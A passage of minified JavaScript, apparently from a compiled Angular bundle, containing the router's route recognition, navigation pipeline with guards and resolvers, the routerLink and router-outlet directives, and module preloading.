e=t.value,n=te(e,this.paramsInheritanceStrategy);e.params=Object.freeze(n.params),e.data=Object.freeze(n.data),t.children.forEach(t=>this.inheritParamsAndData(t))}processSegmentGroup(t,e,n){return 0===e.segments.length&&e.hasChildren()?this.processChildren(t,e):this.processSegment(t,e,e.segments,n)}processChildren(t,e){const n=[];for(const s of Object.keys(e.children)){const i=e.children[s],r=De(t,s),o=this.processSegmentGroup(r,i,s);if(null===o)return null;n.push(...o)}const i=rn(n);return i.sort((t,e)=>t.value.outlet===ct?-1:e.value.outlet===ct?1:t.value.outlet.localeCompare(e.value.outlet)),i}processSegment(t,e,n,i){for(const s of t){const t=this.processSegmentAgainstRoute(s,e,n,i);if(null!==t)return t}return je(e,n,i)?[]:null}processSegmentAgainstRoute(t,e,n,i){if(t.redirectTo||!Be(t,e,n,i))return null;let s,r=[],o=[];if("**"===t.path){const i=n.length>0?_t(n).parameters:{};s=new ee(n,i,Object.freeze(Object.assign({},this.urlTree.queryParams)),this.urlTree.fragment,cn(t),Ne(t),t.component,t,on(e),an(e)+n.length,ln(t))}else{const i=Me(e,t,n);if(!i.matched)return null;r=i.consumedSegments,o=n.slice(i.lastChild),s=new ee(r,i.parameters,Object.freeze(Object.assign({},this.urlTree.queryParams)),this.urlTree.fragment,cn(t),Ne(t),t.component,t,on(e),an(e)+r.length,ln(t))}const a=(u=t).children?u.children:u.loadChildren?u._loadedConfig.routes:[],{segmentGroup:c,slicedSegments:l}=Fe(e,r,o,a.filter(t=>void 0===t.redirectTo),this.relativeLinkResolution);var u;if(0===l.length&&c.hasChildren()){const t=this.processChildren(a,c);return null===t?null:[new Wt(s,t)]}if(0===a.length&&0===l.length)return[new Wt(s,[])];const h=Ne(t)===i,d=this.processSegment(a,c,l,h?ct:i);return null===d?null:[new Wt(s,d)]}}function sn(t){const e=t.value.routeConfig;return e&&""===e.path&&void 0===e.redirectTo}function rn(t){const e=[],n=new Set;for(const i of t){if(!sn(i)){e.push(i);continue}const t=e.find(t=>i.value.routeConfig===t.value.routeConfig);void 0!==t?(t.children.push(...i.children),n.add(t)):e.push(i)}for(const i of n){const t=rn(i.children);e.push(new Wt(i.value,t))}return e.filter(t=>!n.has(t))}function on(t){let e=t;for(;e._sourceSegment;)e=e._sourceSegment;return e}function an(t){let e=t,n=e._segmentIndexShift?e._segmentIndexShift:0;for(;e._sourceSegment;)e=e._sourceSegment,n+=e._segmentIndexShift?e._segmentIndexShift:0;return n-1}function cn(t){return t.data||{}}function ln(t){return t.resolve||{}}function un(t){return(0,M.w)(e=>{const n=t(e);return n?(0,o.D)(n).pipe((0,L.U)(()=>e)):(0,a.of)(e)})}class hn extends class{shouldDetach(t){return!1}store(t,e){}shouldAttach(t){return!1}retrieve(t){return null}shouldReuseRoute(t,e){return t.routeConfig===e.routeConfig}}{}const dn=new s.OlP("ROUTES");class pn{constructor(t,e,n,i){this.loader=t,this.compiler=e,this.onLoadStartListener=n,this.onLoadEndListener=i}load(t,e){if(e._loader$)return e._loader$;this.onLoadStartListener&&this.onLoadStartListener(e);const n=this.loadModuleFactory(e.loadChildren).pipe((0,L.U)(n=>{this.onLoadEndListener&&this.onLoadEndListener(e);const i=n.create(t);return new Ce(gt(i.injector.get(dn,void 0,s.XFs.Self|s.XFs.Optional)).map(Pe),i)}),(0,U.K)(t=>{throw e._loader$=void 0,t}));return e._loader$=new f.c(n,()=>new m.xQ).pipe((0,V.x)()),e._loader$}loadModuleFactory(t){return"string"==typeof t?(0,o.D)(this.loader.load(t)):bt(t()).pipe((0,j.zg)(t=>t instanceof s.YKP?(0,a.of)(t):(0,o.D)(this.compiler.compileModuleAsync(t))))}}class fn{constructor(){this.outlet=null,this.route=null,this.resolver=null,this.children=new mn,this.attachRef=null}}class mn{constructor(){this.contexts=new Map}onChildOutletCreated(t,e){const n=this.getOrCreateContext(t);n.outlet=e,this.contexts.set(t,n)}onChildOutletDestroyed(t){const e=this.getContext(t);e&&(e.outlet=null,e.attachRef=null)}onOutletDeactivated(){const t=this.contexts;return this.contexts=new Map,t}onOutletReAttached(t){this.contexts=t}getOrCreateContext(t){let e=this.getContext(t);return e||(e=new fn,this.contexts.set(t,e)),e}getContext(t){return this.contexts.get(t)||null}}class gn{shouldProcessUrl(t){return!0}extract(t){return t}merge(t,e){return t}}function _n(t){throw t}function vn(t,e,n){return e.parse("/")}function bn(t,e){return(0,a.of)(null)}const yn={paths:"exact",fragment:"ignored",matrixParams:"ignored",queryParams:"exact"},wn={paths:"subset",fragment:"ignored",matrixParams:"ignored",queryParams:"subset"};let xn=(()=>{class t{constructor(t,e,n,i,r,o,a,l){this.rootComponentType=t,this.urlSerializer=e,this.rootContexts=n,this.location=i,this.config=l,this.lastSuccessfulNavigation=null,this.currentNavigation=null,this.disposed=!1,this.lastLocationChangeInfo=null,this.navigationId=0,this.currentPageId=0,this.isNgZoneEnabled=!1,this.events=new m.xQ,this.errorHandler=_n,this.malformedUriErrorHandler=vn,this.navigated=!1,this.lastSuccessfulId=-1,this.hooks={beforePreactivation:bn,afterPreactivation:bn},this.urlHandlingStrategy=new gn,this.routeReuseStrategy=new hn,this.onSameUrlNavigation="ignore",this.paramsInheritanceStrategy="emptyOnly",this.urlUpdateStrategy="deferred",this.relativeLinkResolution="corrected",this.canceledNavigationResolution="replace",this.ngModule=r.get(s.h0i),this.console=r.get(s.c2e);const u=r.get(s.R0b);this.isNgZoneEnabled=u instanceof s.R0b&&s.R0b.isInAngularZone(),this.resetConfig(l),this.currentUrlTree=new kt(new Tt([],{}),{},null),this.rawUrlTree=this.currentUrlTree,this.browserUrlTree=this.currentUrlTree,this.configLoader=new pn(o,a,t=>this.triggerEvent(new et(t)),t=>this.triggerEvent(new nt(t))),this.routerState=Kt(this.currentUrlTree,this.rootComponentType),this.transitions=new c.X({id:0,targetPageId:0,currentUrlTree:this.currentUrlTree,currentRawUrl:this.currentUrlTree,extractedUrl:this.urlHandlingStrategy.extract(this.currentUrlTree),urlAfterRedirects:this.urlHandlingStrategy.extract(this.currentUrlTree),rawUrl:this.currentUrlTree,extras:{},resolve:null,reject:null,promise:Promise.resolve(!0),source:"imperative",restoredState:null,currentSnapshot:this.routerState.snapshot,targetSnapshot:null,currentRouterState:this.routerState,targetRouterState:null,guards:{canActivateChecks:[],canDeactivateChecks:[]},guardsResult:null}),this.navigations=this.setupNavigations(this.transitions),this.processNavigations()}get browserPageId(){var t;return null===(t=this.location.getState())||void 0===t?void 0:t.\u0275routerPageId}setupNavigations(t){const e=this.events;return t.pipe((0,y.h)(t=>0!==t.id),(0,L.U)(t=>Object.assign(Object.assign({},t),{extractedUrl:this.urlHandlingStrategy.extract(t.rawUrl)})),(0,M.w)(t=>{let n=!1,i=!1;return(0,a.of)(t).pipe((0,H.b)(t=>{this.currentNavigation={id:t.id,initialUrl:t.currentRawUrl,extractedUrl:t.extractedUrl,trigger:t.source,extras:t.extras,previousNavigation:this.lastSuccessfulNavigation?Object.assign(Object.assign({},this.lastSuccessfulNavigation),{previousNavigation:null}):null}}),(0,M.w)(t=>{const n=this.browserUrlTree.toString(),s=!this.navigated||t.extractedUrl.toString()!==n||n!==this.currentUrlTree.toString();if(("reload"===this.onSameUrlNavigation||s)&&this.urlHandlingStrategy.shouldProcessUrl(t.rawUrl))return Cn(t.source)&&(this.browserUrlTree=t.extractedUrl),(0,a.of)(t).pipe((0,M.w)(t=>{const n=this.transitions.getValue();return e.next(new $(t.id,this.serializeUrl(t.extractedUrl),t.source,t.restoredState)),n!==this.transitions.getValue()?p.E:Promise.resolve(t)}),function(t,e,n,i){return(0,M.w)(s=>function(t,e,n,i,s){return new $e(t,e,n,i,s).apply()}(t,e,n,s.extractedUrl,i).pipe((0,L.U)(t=>Object.assign(Object.assign({},s),{urlAfterRedirects:t}))))}(this.ngModule.injector,this.configLoader,this.urlSerializer,this.config),(0,H.b)(t=>{this.currentNavigation=Object.assign(Object.assign({},this.currentNavigation),{finalUrl:t.urlAfterRedirects})}),function(t,e,n,s,r){return(0,j.zg)(o=>function(t,e,n,s,r="emptyOnly",o="legacy"){try{const i=new nn(t,e,n,s,r,o).recognize();return null===i?en(new tn):(0,a.of)(i)}catch(i){return en(i)}}(t,e,o.urlAfterRedirects,n(o.urlAfterRedirects),s,r).pipe((0,L.U)(t=>Object.assign(Object.assign({},o),{targetSnapshot:t}))))}(this.rootComponentType,this.config,t=>this.serializeUrl(t),this.paramsInheritanceStrategy,this.relativeLinkResolution),(0,H.b)(t=>{"eager"===this.urlUpdateStrategy&&(t.extras.skipLocationChange||this.setBrowserUrl(t.urlAfterRedirects,t),this.browserUrlTree=t.urlAfterRedirects);const n=new J(t.id,this.serializeUrl(t.extractedUrl),this.serializeUrl(t.urlAfterRedirects),t.targetSnapshot);e.next(n)}));if(s&&this.rawUrlTree&&this.urlHandlingStrategy.shouldProcessUrl(this.rawUrlTree)){const{id:n,extractedUrl:i,source:s,restoredState:r,extras:o}=t,c=new $(n,this.serializeUrl(i),s,r);e.next(c);const l=Kt(i,this.rootComponentType).snapshot;return(0,a.of)(Object.assign(Object.assign({},t),{targetSnapshot:l,urlAfterRedirects:i,extras:Object.assign(Object.assign({},o),{skipLocationChange:!1,replaceUrl:!1})}))}return this.rawUrlTree=t.rawUrl,this.browserUrlTree=t.urlAfterRedirects,t.resolve(null),p.E}),un(t=>{const{targetSnapshot:e,id:n,extractedUrl:i,rawUrl:s,extras:{skipLocationChange:r,replaceUrl:o}}=t;return this.hooks.beforePreactivation(e,{navigationId:n,appliedUrlTree:i,rawUrlTree:s,skipLocationChange:!!r,replaceUrl:!!o})}),(0,H.b)(t=>{const e=new Q(t.id,this.serializeUrl(t.extractedUrl),this.serializeUrl(t.urlAfterRedirects),t.targetSnapshot);this.triggerEvent(e)}),(0,L.U)(t=>Object.assign(Object.assign({},t),{guards:Je(t.targetSnapshot,t.currentSnapshot,this.rootContexts)})),function(t,e){return(0,j.zg)(n=>{const{targetSnapshot:i,currentSnapshot:s,guards:{canActivateChecks:r,canDeactivateChecks:c}}=n;return 0===c.length&&0===r.length?(0,a.of)(Object.assign(Object.assign({},n),{guardsResult:!0})):function(t,e,n,i){return(0,o.D)(t).pipe((0,j.zg)(t=>function(t,e,n,i,s){const r=e&&e.routeConfig?e.routeConfig.canDeactivate:null;if(!r||0===r.length)return(0,a.of)(!0);const o=r.map(r=>{const o=Qe(r,e,s);let a;if(function(t){return t&&Se(t.canDeactivate)}(o))a=bt(o.canDeactivate(t,e,n,i));else{if(!Se(o))throw new Error("Invalid CanDeactivate guard");a=bt(o(t,e,n,i))}return a.pipe(D())});return(0,a.of)(o).pipe(Te())}(t.component,t.route,n,e,i)),D(t=>!0!==t,!0))}(c,i,s,t).pipe((0,j.zg)(n=>n&&function(t){return"boolean"==typeof t}(n)?function(t,e,n,i){return(0,o.D)(e).pipe((0,B.b)(e=>(0,h.z)(function(t,e){return null!==t&&e&&e(new it(t)),(0,a.of)(!0)}(e.route.parent,i),function(t,e){return null!==t&&e&&e(new rt(t)),(0,a.of)(!0)}(e.route,i),function(t,e,n){const i=e[e.length-1],s=e.slice(0,e.length-1).reverse().map(t=>function(t){const e=t.routeConfig?t.routeConfig.canActivateChild:null;return e&&0!==e.length?{node:t,guards:e}:null}(t)).filter(t=>null!==t).map(e=>(0,d.P)(()=>{const s=e.guards.map(s=>{const r=Qe(s,e.node,n);let o;if(function(t){return t&&Se(t.canActivateChild)}(r))o=bt(r.canActivateChild(i,t));else{if(!Se(r))throw new Error("Invalid CanActivateChild guard");o=bt(r(i,t))}return o.pipe(D())});return(0,a.of)(s).pipe(Te())}));return(0,a.of)(s).pipe(Te())}(t,e.path,n),function(t,e,n){const i=e.routeConfig?e.routeConfig.canActivate:null;if(!i||0===i.length)return(0,a.of)(!0);const s=i.map(i=>(0,d.P)(()=>{const s=Qe(i,e,n);let r;if(function(t){return t&&Se(t.canActivate)}(s))r=bt(s.canActivate(e,t));else{if(!Se(s))throw new Error("Invalid CanActivate guard");r=bt(s(e,t))}return r.pipe(D())}));return(0,a.of)(s).pipe(Te())}(t,e.route,n))),D(t=>!0!==t,!0))}(i,r,t,e):(0,a.of)(n)),(0,L.U)(t=>Object.assign(Object.assign({},n),{guardsResult:t})))})}(this.ngModule.injector,t=>this.triggerEvent(t)),(0,H.b)(t=>{if(Ee(t.guardsResult)){const e=dt(`Redirecting to "${this.serializeUrl(t.guardsResult)}"`);throw e.url=t.guardsResult,e}const e=new K(t.id,this.serializeUrl(t.extractedUrl),this.serializeUrl(t.urlAfterRedirects),t.targetSnapshot,!!t.guardsResult);this.triggerEvent(e)}),(0,y.h)(t=>!!t.guardsResult||(this.restoreHistory(t),this.cancelNavigationTransition(t,""),!1)),un(t=>{if(t.guards.canActivateChecks.length)return(0,a.of)(t).pipe((0,H.b)(t=>{const e=new X(t.id,this.serializeUrl(t.extractedUrl),this.serializeUrl(t.urlAfterRedirects),t.targetSnapshot);this.triggerEvent(e)}),(0,M.w)(t=>{let e=!1;return(0,a.of)(t).pipe(function(t,e){return(0,j.zg)(n=>{const{targetSnapshot:i,guards:{canActivateChecks:s}}=n;if(!s.length)return(0,a.of)(n);let r=0;return(0,o.D)(s).pipe((0,B.b)(n=>function(t,e,n,i){return function(t,e,n,i){const s=Object.keys(t);if(0===s.length)return(0,a.of)({});const r={};return(0,o.D)(s).pipe((0,j.zg)(s=>function(t,e,n,i){const s=Qe(t,e,i);return bt(s.resolve?s.resolve(e,n):s(e,n))}(t[s],e,n,i).pipe((0,H.b)(t=>{r[s]=t}))),x(1),(0,j.zg)(()=>Object.keys(r).length===s.length?(0,a.of)(r):p.E))}(t._resolve,t,e,i).pipe((0,L.U)(e=>(t._resolvedData=e,t.data=Object.assign(Object.assign({},t.data),te(t,n).resolve),null)))}(n.route,i,t,e)),(0,H.b)(()=>r++),x(1),(0,j.zg)(t=>r===s.length?(0,a.of)(n):p.E))})}(this.paramsInheritanceStrategy,this.ngModule.injector),(0,H.b)({next:()=>e=!0,complete:()=>{e||(this.restoreHistory(t),this.cancelNavigationTransition(t,"At least one route resolver didn't emit any value."))}}))}),(0,H.b)(t=>{const e=new tt(t.id,this.serializeUrl(t.extractedUrl),this.serializeUrl(t.urlAfterRedirects),t.targetSnapshot);this.triggerEvent(e)}))}),un(t=>{const{targetSnapshot:e,id:n,extractedUrl:i,rawUrl:s,extras:{skipLocationChange:r,replaceUrl:o}}=t;return this.hooks.afterPreactivation(e,{navigationId:n,appliedUrlTree:i,rawUrlTree:s,skipLocationChange:!!r,replaceUrl:!!o})}),(0,L.U)(t=>{const e=function(t,e,n){const i=ae(t,e._root,n?n._root:void 0);return new Qt(i,e)}(this.routeReuseStrategy,t.targetSnapshot,t.currentRouterState);return Object.assign(Object.assign({},t),{targetRouterState:e})}),(0,H.b)(t=>{this.currentUrlTree=t.urlAfterRedirects,this.rawUrlTree=this.urlHandlingStrategy.merge(t.urlAfterRedirects,t.rawUrl),this.routerState=t.targetRouterState,"deferred"===this.urlUpdateStrategy&&(t.extras.skipLocationChange||this.setBrowserUrl(this.rawUrlTree,t),this.browserUrlTree=t.urlAfterRedirects)}),((t,e,n)=>(0,L.U)(i=>(new we(e,i.targetRouterState,i.currentRouterState,n).activate(t),i)))(this.rootContexts,this.routeReuseStrategy,t=>this.triggerEvent(t)),(0,H.b)({next(){n=!0},complete(){n=!0}}),(0,G.x)(()=>{var e;if(!n&&!i){const e=`Navigation ID ${t.id} is not equal to the current navigation id ${this.navigationId}`;"replace"===this.canceledNavigationResolution?(this.restoreHistory(t),this.cancelNavigationTransition(t,e)):this.cancelNavigationTransition(t,e)}(null===(e=this.currentNavigation)||void 0===e?void 0:e.id)===t.id&&(this.currentNavigation=null)}),(0,U.K)(n=>{if(i=!0,function(t){return t&&t[ht]}(n)){const i=Ee(n.url);i||(this.navigated=!0,this.restoreHistory(t,!0));const s=new Z(t.id,this.serializeUrl(t.extractedUrl),n.message);e.next(s),i?setTimeout(()=>{const e=this.urlHandlingStrategy.merge(n.url,this.rawUrlTree),i={skipLocationChange:t.extras.skipLocationChange,replaceUrl:"eager"===this.urlUpdateStrategy||Cn(t.source)};this.scheduleNavigation(e,"imperative",null,i,{resolve:t.resolve,reject:t.reject,promise:t.promise})},0):t.resolve(!1)}else{this.restoreHistory(t,!0);const i=new W(t.id,this.serializeUrl(t.extractedUrl),n);e.next(i);try{t.resolve(this.errorHandler(n))}catch(s){t.reject(s)}}return p.E}))}))}resetRootComponentType(t){this.rootComponentType=t,this.routerState.root.component=this.rootComponentType}getTransition(){const t=this.transitions.value;return t.urlAfterRedirects=this.browserUrlTree,t}setTransition(t){this.transitions.next(Object.assign(Object.assign({},this.getTransition()),t))}initialNavigation(){this.setUpLocationChangeListener(),0===this.navigationId&&this.navigateByUrl(this.location.path(!0),{replaceUrl:!0})}setUpLocationChangeListener(){this.locationSubscription||(this.locationSubscription=this.location.subscribe(t=>{const e=this.extractLocationChangeInfoFromEvent(t);this.shouldScheduleNavigation(this.lastLocationChangeInfo,e)&&setTimeout(()=>{const{source:t,state:n,urlTree:i}=e,s={replaceUrl:!0};if(n){const t=Object.assign({},n);delete t.navigationId,delete t.\u0275routerPageId,0!==Object.keys(t).length&&(s.state=t)}this.scheduleNavigation(i,t,n,s)},0),this.lastLocationChangeInfo=e}))}extractLocationChangeInfoFromEvent(t){var e;return{source:"popstate"===t.type?"popstate":"hashchange",urlTree:this.parseUrl(t.url),state:(null===(e=t.state)||void 0===e?void 0:e.navigationId)?t.state:null,transitionId:this.getTransition().id}}shouldScheduleNavigation(t,e){if(!t)return!0;const n=e.urlTree.toString()===t.urlTree.toString();return e.transitionId!==t.transitionId||!n||!("hashchange"===e.source&&"popstate"===t.source||"popstate"===e.source&&"hashchange"===t.source)}get url(){return this.serializeUrl(this.currentUrlTree)}getCurrentNavigation(){return this.currentNavigation}triggerEvent(t){this.events.next(t)}resetConfig(t){Ie(t),this.config=t.map(Pe),this.navigated=!1,this.lastSuccessfulId=-1}ngOnDestroy(){this.dispose()}dispose(){this.transitions.complete(),this.locationSubscription&&(this.locationSubscription.unsubscribe(),this.locationSubscription=void 0),this.disposed=!0}createUrlTree(t,e={}){const{relativeTo:n,queryParams:i,fragment:s,queryParamsHandling:r,preserveFragment:o}=e,a=n||this.routerState.root,c=o?this.currentUrlTree.fragment:s;let l=null;switch(r){case"merge":l=Object.assign(Object.assign({},this.currentUrlTree.queryParams),i);break;case"preserve":l=this.currentUrlTree.queryParams;break;default:l=i||null}return null!==l&&(l=this.removeEmptyProps(l)),function(t,e,n,i,s){if(0===n.length)return he(e.root,e.root,e,i,s);const r=function(t){if("string"==typeof t[0]&&1===t.length&&"/"===t[0])return new pe(!0,0,t);let e=0,n=!1;const i=t.reduce((t,i,s)=>{if("object"==typeof i&&null!=i){if(i.outlets){const e={};return vt(i.outlets,(t,n)=>{e[n]="string"==typeof t?t.split("/"):t}),[...t,{outlets:e}]}if(i.segmentPath)return[...t,i.segmentPath]}return"string"!=typeof i?[...t,i]:0===s?(i.split("/").forEach((i,s)=>{0==s&&"."===i||(0==s&&""===i?n=!0:".."===i?e++:""!=i&&t.push(i))}),t):[...t,i]},[]);return new pe(n,e,i)}(n);if(r.toRoot())return he(e.root,new Tt([],{}),e,i,s);const o=function(t,e,n){if(t.isAbsolute)return new fe(e.root,!0,0);if(-1===n.snapshot._lastPathIndex){const t=n.snapshot._urlSegment;return new fe(t,t===e.root,0)}const i=le(t.commands[0])?0:1;return function(t,e,n){let i=t,s=e,r=n;for(;r>s;){if(r-=s,i=i.parent,!i)throw new Error("Invalid number of '../'");s=i.segments.length}return new fe(i,!1,s-r)}(n.snapshot._urlSegment,n.snapshot._lastPathIndex+i,t.numberOfDoubleDots)}(r,e,t),a=o.processChildren?ge(o.segmentGroup,o.index,r.commands):me(o.segmentGroup,o.index,r.commands);return he(o.segmentGroup,a,e,i,s)}(a,this.currentUrlTree,t,l,null!=c?c:null)}navigateByUrl(t,e={skipLocationChange:!1}){const n=Ee(t)?t:this.parseUrl(t),i=this.urlHandlingStrategy.merge(n,this.rawUrlTree);return this.scheduleNavigation(i,"imperative",null,e)}navigate(t,e={skipLocationChange:!1}){return function(t){for(let e=0;e<t.length;e++){const n=t[e];if(null==n)throw new Error(`The requested path contains ${n} segment at index ${e}`)}}(t),this.navigateByUrl(this.createUrlTree(t,e),e)}serializeUrl(t){return this.urlSerializer.serialize(t)}parseUrl(t){let e;try{e=this.urlSerializer.parse(t)}catch(n){e=this.malformedUriErrorHandler(n,this.urlSerializer,t)}return e}isActive(t,e){let n;if(n=!0===e?Object.assign({},yn):!1===e?Object.assign({},wn):e,Ee(t))return xt(this.currentUrlTree,t,n);const i=this.parseUrl(t);return xt(this.currentUrlTree,i,n)}removeEmptyProps(t){return Object.keys(t).reduce((e,n)=>{const i=t[n];return null!=i&&(e[n]=i),e},{})}processNavigations(){this.navigations.subscribe(t=>{this.navigated=!0,this.lastSuccessfulId=t.id,this.currentPageId=t.targetPageId,this.events.next(new z(t.id,this.serializeUrl(t.extractedUrl),this.serializeUrl(this.currentUrlTree))),this.lastSuccessfulNavigation=this.currentNavigation,t.resolve(!0)},t=>{this.console.warn(`Unhandled Navigation Error: ${t}`)})}scheduleNavigation(t,e,n,i,s){var r,o;if(this.disposed)return Promise.resolve(!1);const a=this.getTransition(),c=Cn(e)&&a&&!Cn(a.source),l=(this.lastSuccessfulId===a.id||this.currentNavigation?a.rawUrl:a.urlAfterRedirects).toString()===t.toString();if(c&&l)return Promise.resolve(!0);let u,h,d;s?(u=s.resolve,h=s.reject,d=s.promise):d=new Promise((t,e)=>{u=t,h=e});const p=++this.navigationId;let f;return"computed"===this.canceledNavigationResolution?(0===this.currentPageId&&(n=this.location.getState()),f=n&&n.\u0275routerPageId?n.\u0275routerPageId:i.replaceUrl||i.skipLocationChange?null!==(r=this.browserPageId)&&void 0!==r?r:0:(null!==(o=this.browserPageId)&&void 0!==o?o:0)+1):f=0,this.setTransition({id:p,targetPageId:f,source:e,restoredState:n,currentUrlTree:this.currentUrlTree,currentRawUrl:this.rawUrlTree,rawUrl:t,extras:i,resolve:u,reject:h,promise:d,currentSnapshot:this.routerState.snapshot,currentRouterState:this.routerState}),d.catch(t=>Promise.reject(t))}setBrowserUrl(t,e){const n=this.urlSerializer.serialize(t),i=Object.assign(Object.assign({},e.extras.state),this.generateNgRouterState(e.id,e.targetPageId));this.location.isCurrentPathEqualTo(n)||e.extras.replaceUrl?this.location.replaceState(n,"",i):this.location.go(n,"",i)}restoreHistory(t,e=!1){var n,i;if("computed"===this.canceledNavigationResolution){const e=this.currentPageId-t.targetPageId;"popstate"!==t.source&&"eager"!==this.urlUpdateStrategy&&this.currentUrlTree!==(null===(n=this.currentNavigation)||void 0===n?void 0:n.finalUrl)||0===e?this.currentUrlTree===(null===(i=this.currentNavigation)||void 0===i?void 0:i.finalUrl)&&0===e&&(this.resetState(t),this.browserUrlTree=t.currentUrlTree,this.resetUrlToCurrentUrlTree()):this.location.historyGo(e)}else"replace"===this.canceledNavigationResolution&&(e&&this.resetState(t),this.resetUrlToCurrentUrlTree())}resetState(t){this.routerState=t.currentRouterState,this.currentUrlTree=t.currentUrlTree,this.rawUrlTree=this.urlHandlingStrategy.merge(this.currentUrlTree,t.rawUrl)}resetUrlToCurrentUrlTree(){this.location.replaceState(this.urlSerializer.serialize(this.rawUrlTree),"",this.generateNgRouterState(this.lastSuccessfulId,this.currentPageId))}cancelNavigationTransition(t,e){const n=new Z(t.id,this.serializeUrl(t.extractedUrl),e);this.triggerEvent(n),t.resolve(!1)}generateNgRouterState(t,e){return"computed"===this.canceledNavigationResolution?{navigationId:t,"\u0275routerPageId":e}:{navigationId:t}}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(s.DyG),s.LFG(Ot),s.LFG(mn),s.LFG(i.Ye),s.LFG(s.zs3),s.LFG(s.v3s),s.LFG(s.Sil),s.LFG(void 0))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})();function Cn(t){return"imperative"!==t}let Sn=(()=>{class t{constructor(t,e,n){this.router=t,this.route=e,this.locationStrategy=n,this.commands=[],this.onChanges=new m.xQ,this.subscription=t.events.subscribe(t=>{t instanceof z&&this.updateTargetUrlAndHref()})}set routerLink(t){this.commands=null!=t?Array.isArray(t)?t:[t]:[]}ngOnChanges(t){this.updateTargetUrlAndHref(),this.onChanges.next(this)}ngOnDestroy(){this.subscription.unsubscribe()}onClick(t,e,n,i,s){if(0!==t||e||n||i||s||"string"==typeof this.target&&"_self"!=this.target)return!0;const r={skipLocationChange:En(this.skipLocationChange),replaceUrl:En(this.replaceUrl),state:this.state};return this.router.navigateByUrl(this.urlTree,r),!1}updateTargetUrlAndHref(){this.href=this.locationStrategy.prepareExternalUrl(this.router.serializeUrl(this.urlTree))}get urlTree(){return this.router.createUrlTree(this.commands,{relativeTo:void 0!==this.relativeTo?this.relativeTo:this.route,queryParams:this.queryParams,fragment:this.fragment,queryParamsHandling:this.queryParamsHandling,preserveFragment:En(this.preserveFragment)})}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(xn),s.Y36(Xt),s.Y36(i.S$))},t.\u0275dir=s.lG2({type:t,selectors:[["a","routerLink",""],["area","routerLink",""]],hostVars:2,hostBindings:function(t,e){1&t&&s.NdJ("click",function(t){return e.onClick(t.button,t.ctrlKey,t.shiftKey,t.altKey,t.metaKey)}),2&t&&(s.Ikx("href",e.href,s.LSH),s.uIk("target",e.target))},inputs:{routerLink:"routerLink",target:"target",queryParams:"queryParams",fragment:"fragment",queryParamsHandling:"queryParamsHandling",preserveFragment:"preserveFragment",skipLocationChange:"skipLocationChange",replaceUrl:"replaceUrl",state:"state",relativeTo:"relativeTo"},features:[s.TTD]}),t})();function En(t){return""===t||!!t}let kn=(()=>{class t{constructor(t,e,n,i,r){this.parentContexts=t,this.location=e,this.resolver=n,this.changeDetector=r,this.activated=null,this._activatedRoute=null,this.activateEvents=new s.vpe,this.deactivateEvents=new s.vpe,this.name=i||ct,t.onChildOutletCreated(this.name,this)}ngOnDestroy(){this.parentContexts.onChildOutletDestroyed(this.name)}ngOnInit(){if(!this.activated){const t=this.parentContexts.getContext(this.name);t&&t.route&&(t.attachRef?this.attach(t.attachRef,t.route):this.activateWith(t.route,t.resolver||null))}}get isActivated(){return!!this.activated}get component(){if(!this.activated)throw new Error("Outlet is not activated");return this.activated.instance}get activatedRoute(){if(!this.activated)throw new Error("Outlet is not activated");return this._activatedRoute}get activatedRouteData(){return this._activatedRoute?this._activatedRoute.snapshot.data:{}}detach(){if(!this.activated)throw new Error("Outlet is not activated");this.location.detach();const t=this.activated;return this.activated=null,this._activatedRoute=null,t}attach(t,e){this.activated=t,this._activatedRoute=e,this.location.insert(t.hostView)}deactivate(){if(this.activated){const t=this.component;this.activated.destroy(),this.activated=null,this._activatedRoute=null,this.deactivateEvents.emit(t)}}activateWith(t,e){if(this.isActivated)throw new Error("Cannot activate an already activated outlet");this._activatedRoute=t;const n=(e=e||this.resolver).resolveComponentFactory(t._futureSnapshot.routeConfig.component),i=this.parentContexts.getOrCreateContext(this.name).children,s=new Tn(t,i,this.location.injector);this.activated=this.location.createComponent(n,this.location.length,s),this.changeDetector.markForCheck(),this.activateEvents.emit(this.activated.instance)}}return t.\u0275fac=function(e){return new(e||t)(s.Y36(mn),s.Y36(s.s_b),s.Y36(s._Vd),s.$8M("name"),s.Y36(s.sBO))},t.\u0275dir=s.lG2({type:t,selectors:[["router-outlet"]],outputs:{activateEvents:"activate",deactivateEvents:"deactivate"},exportAs:["outlet"]}),t})();class Tn{constructor(t,e,n){this.route=t,this.childContexts=e,this.parent=n}get(t,e){return t===Xt?this.route:t===mn?this.childContexts:this.parent.get(t,e)}}class An{}class In{preload(t,e){return(0,a.of)(null)}}let On=(()=>{class t{constructor(t,e,n,i,s){this.router=t,this.injector=i,this.preloadingStrategy=s,this.loader=new pn(e,n,e=>t.triggerEvent(new et(e)),e=>t.triggerEvent(new nt(e)))}setUpPreloading(){this.subscription=this.router.events.pipe((0,y.h)(t=>t instanceof z),(0,B.b)(()=>this.preload())).subscribe(()=>{})}preload(){const t=this.injector.get(s.h0i);return this.processRoutes(t,this.router.config)}ngOnDestroy(){this.subscription&&this.subscription.unsubscribe()}processRoutes(t,e){const n=[];for(const i of e)if(i.loadChildren&&!i.canLoad&&i._loadedConfig){const t=i._loadedConfig;n.push(this.processRoutes(t.module,t.routes))}else i.loadChildren&&!i.canLoad?n.push(this.preloadConfig(t,i)):i.children&&n.push(this.processRoutes(t,i.children));return(0,o.D)(n).pipe((0,Y.J)(),(0,L.U)(t=>{}))}preloadConfig(t,e){return this.preloadingStrategy.preload(e,()=>(e._loadedConfig?(0,a.of)(e._loadedConfig):this.loader.load(t.injector,e)).pipe((0,j.zg)(t=>(e._loadedConfig=t,this.processRoutes(t.module,t.routes)))))}}return t.\u0275fac=function(e){return new(e||t)(s.LFG(xn),s.LFG(s.v3s),s.LFG(s.Sil),s.LFG(s.zs3),s.LFG(An))},t.\u0275prov=s.Yz7({token:t,factory:t.\u0275fac}),t})(),Rn=(()=>{class t{constructor(t,e,n={}){this.router=t,this.viewportScroller=e,this.options=n,this.lastId=0,this.lastSource="imperative",this.restoredId=0,this.store={},n.scrollPositionRestoration=n.scrollPositionRestoration||"disabled",n.anchorScrolling=n.anchorScrolling||"disabled"}init(){"disabled"!==this.options.scrollPositionRestoration&&this.viewportScroller.setHistoryScrollRestoration("manual"),this.routerEventsSubscription=this.createScrollEvents(),this.scrollEventsSubscription=this.consumeScrollEvents()}createScrollEvents(){return this.router.events.subscribe(t=>{t instanceof 